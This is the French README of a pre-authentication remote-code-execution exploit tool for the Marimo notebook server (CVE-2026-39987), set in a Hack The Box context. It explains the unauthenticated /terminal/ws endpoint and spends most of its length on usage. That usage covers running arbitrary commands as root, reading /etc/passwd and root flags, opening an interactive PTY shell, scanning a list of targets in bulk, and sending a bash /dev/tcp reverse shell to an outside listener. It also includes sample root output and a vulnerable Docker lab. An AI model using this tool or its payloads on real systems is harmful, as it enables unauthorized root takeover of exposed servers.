
Exploit pour RCE pré-authentification Marimo via WebSocket terminal, offrant l'exécution de commandes, un shell PTY interactif et des capacités de shell inversé pour les tests d'intrusion autorisés.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19,6k ⭐) est un serveur de notebooks Python réactif open-source. Les versions ≤ 0.20.4 exposent un endpoint WebSocket terminal (/terminal/ws) qui ignore complètement l'authentification, même lorsque l'authentification est activée sur le serveur.
Une seule connexion WebSocket non authentifiée permet d'obtenir un shell interactif PTY complet. Dans les déploiements Docker par défaut, les commandes s'exécutent en tant que root.
Statut : Corrigé dans
0.23.0— marimo-team/marimo@c24d480
L'endpoint /terminal/ws ne contient pas l'appel validate_auth() présent dans tous les autres endpoints authentifiés :
# ❌ /terminal/ws — aucune vérification d'authentification (vulnérable)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# Aucune vérification d'authentification !
await websocket.accept() # accepte directement
child_pid, fd = pty.fork() # génère un shell PTY
# ✅ /ws — authentifié correctement
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # authentification appliquée
return
Le AuthenticationMiddleware de Marimo marque les connexions non authentifiées comme UnauthenticatedUser mais ne les rejette pas — l'application de la sécurité repose entièrement sur les décorateurs par endpoint ou les appels validate_auth(). /terminal/ws n'a ni l'un ni l'autre.
1. Se connecter à ws(s)://CIBLE/terminal/ws → aucun jeton requis
2. websocket.accept() → connexion acceptée
3. pty.fork() → shell PTY généré
4. Envoyer n'importe quelle commande → RCE arbitraire en tant que root
| Logiciel | Vulnérable | Corrigé |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Accédez directement à un shell interactif via le WebSocket — aucun listener requis :
python3 CVE-2026-39987.py -u target.htb -i
[+] Shell interactif — tapez des commandes, Ctrl+C ou 'exit' pour quitter
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
Lorsque vous utilisez un payload de reverse shell, détachez le processus du PTY avec nohup ... &
afin qu'il survive à la fermeture de la connexion WebSocket :
# Configurez d'abord le listener
nc -lvnp 4444
# Puis envoyez le payload
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Sans
nohup ... &, le processus shell est lié au PTY et est tué lorsque le WebSocket se ferme. Utilisez-ipour un shell direct ounohuppour les reverse shells.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL URL cible unique ou hôte
-l LIST, --list LIST fichier contenant les cibles, une par ligne
-c CMD, --cmd CMD commande à exécuter (défaut : id && cat /root/root.txt)
-p PATH, --path PATH chemin de l'endpoint WebSocket (défaut : /terminal/ws)
-t SEC, --timeout SEC secondes de silence avant d'abandonner (défaut : 2)
-d SEC, --delay SEC délai post-connexion avant de vider la bannière (défaut : 1)
-i, --interactive shell PTY interactif — maintient la connexion ouverte
--verify active la vérification du certificat SSL (désactivée par défaut)
-q, --quiet supprime les messages de statut, affiche uniquement la sortie
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Cible : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Mode : commande
[*] Commande : id && cat /root/root.txt
[*] Connexion...
[*] Vidage de la bannière...
[+] Envoi du payload...
[+] Sortie :
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
Cet outil est fourni uniquement à des fins éducatives et de tests d'intrusion autorisés.
L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.
Obtenez toujours une autorisation appropriée avant de tester tout système qui ne vous appartient pas.